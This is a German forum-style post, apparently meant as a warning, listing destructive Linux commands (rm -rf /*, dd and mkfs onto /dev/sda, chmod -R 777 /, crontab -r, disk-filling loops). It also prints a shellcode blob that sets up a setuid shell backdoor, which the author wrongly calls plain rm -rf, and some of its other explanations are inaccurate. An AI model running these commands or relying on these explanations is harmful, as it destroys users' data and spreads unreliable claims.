Befehle aus der Hölle -- die Zweite

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  • rm -rf /* Einer der berühmtesten Befehle. Meist in sozialen Medien von Trollen vorgeschlagen, aber ohne Root-Rechte schadet dieser Befehl nicht.

    Der Befehl rm dient zum Entfernen von Dateien/Verzeichnissen. Die Flags -r und -f werden verwendet, um das rekursive Entfernen aller Dateien im angegebenen Verzeichnis anzuzeigen. Auch mit sudo rm -rf/ passiert nichts, da die Systeme eine Failsafe-Option anbieten. Man muss –no-preserve-root eingeben, um es tatsächlich auszuführen. Also sudo rm -rf / --no-preserve-root.

    Es geht auch einfacher mit sudo rm -rf /*. Es beginnt mit dem rekursiven Löschen aller Dateien im Stammverzeichnis und irgendwann friert das System mit der Meldung „Fehler beim Löschen der Datei“ ein. Nach dem Neustart kommt dann grub-rescue.


    echo "Hello" > /dev/sda kennen wir schon. Der Befehl überschreibt sämtliche Daten mit "Hello".


    mv /home/user/* /dev/null Man muss hier mal etwas weiter ausholen. Es gibt in Linux eine große schwarze Leere. Nennt sich hier /dev/null. Das ist das Schwarze Loch des Linux-Universums. Alles, was nach dort verschoben wird, verschwindet kommentarlos und endgültig! Und das fiese an der Sache ist, das nach dem verschwinden der Daten auch noch erfolgreich Vollzug gemeldet wird. Mit dem angeführten Befehl verschiebt ihr alle eure Daten des /home in das schwarze Loch. Natürlich muss /user noch mit dem korrekten Namen ersetzt werden. Root bleibt allerdings erhalten. Ich persönlich halte /dev/null für das gefährlichste im Linux-Universum. Und ihr wisst jetzt auch, warum.


    mkfs.ext3 /dev/sda mkfs ist ein Befehl, der eigentlich zum formatieren der Festplatten verwendet wird. Mit dem angeführten Befehl wird das System unwiederbringlich durcheinander gebracht. Eine Wiederherstellung ist unmöglich.


    command > config_filename Wie schon erwähnt wird der Operator > zum schreiben in eine Datei verwendet. Er verwirft alles was geschrieben steht und schreibt neu hinein. Sollte eine wichtige Datei beschrieben werden, ist das System evtl. hinterher nicht mehr lauffähig.


    /dev/random ist ein Befehl unter Linux, der einfach nur Müll erzeugt. Kombiniert mit dd und einer Partitition ist er ein Garant für ein zerstörtes System. Er sollte dann etwa so aussehen dd if=/dev/random of=/dev/sda. Kommt euch bekannt vor? Klar, ein Low-Level-Kopiertool. Es geht aber noch weitaus schlimmer!


    cat /dev/urandom > filename ... ist eine wahre Ausgeburt der Hölle. Hier werden Mülldaten aus /dev/urandom übernommen und in eine Datei eingefügt. Wenn die Datei nicht mit Strg + C beendet wird, kann sie so viel Platz beanspruchen, das die Sache für Low-End-Systeme in der ultimativen Katastrophe mündet.


    Wenn euer System von mehreren Usern benutzt wird, kann der Befehl chmod -R 777 / für viel Erheiterung sorgen. Er macht nämlich die Root-Partition für alle und jeden zugänglich.

    Dies bedeutet, dass jeder Benutzer des Systems über Lese-, Schreib- und Ausführungsberechtigungen verfügt. Schätzungsweise ist das nicht gut für Euer System.


    Zum guten Schluss mal noch ein kleines Beispiel betreffs getarnter Befehle. Es gibt jede Menge Möglichkeiten, Befehle in der Shell auszuführen. Manche sind einfach und chic und manche sehen wunderlich aus. Wie zum Beispiel dieser hier

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p

    release */

    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

    “\x6e\x2f\x73\x68\x00\x2d\x63\x00”

    “cp -p /bin/sh /tmp/.beyond; chmod 4755

    /tmp/.beyond;”;

    Das ist allerdings weiter nichts als die hexadezimale Schreibweise von rm -rf. Seid also vorsichtig mit dem herunterladen und ausführen solch wunderlicher Zeichenfolgen.


    crontab -r Bei vielen wird noch crontab verwendet statt systemd, um zeitlich gesteuert Programme ablaufen zu lassen.

    Die Datei crontab enthält oft wichtige Befehle, die zu bestimmten Zeiten gestartet werden müssen. Mit diesem Befehl macht ihr der Sache ganz schnell ein Ende


    sudo apt purge dateiname* ist auch ein interessanter Befehl, den ich viel nutze, um unter Debian Distros etwas zu löschen. Auch unter Ubuntu und seinen Derivaten gut geeignet. Damit wird bei mir z.B. libreoffice gecancelt.


    »¬

  • Mir ist da auch einer eingefallen, ich hoffe ich bringe das fehlerfrei.


    Code
    echo "Unsinniger Text, der total viel Speicher verbraucht und so oft wiederholt wird"{1..999999999999} > Datei.txt

    (vorher wars falsch)

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    Der eine oder andere hat bestimmt schon einmal auf einem T-Shirt oben angeführte Zeichen gesehen und sich gefragt, was das wohl bedeuten möge. Es handelt sich…
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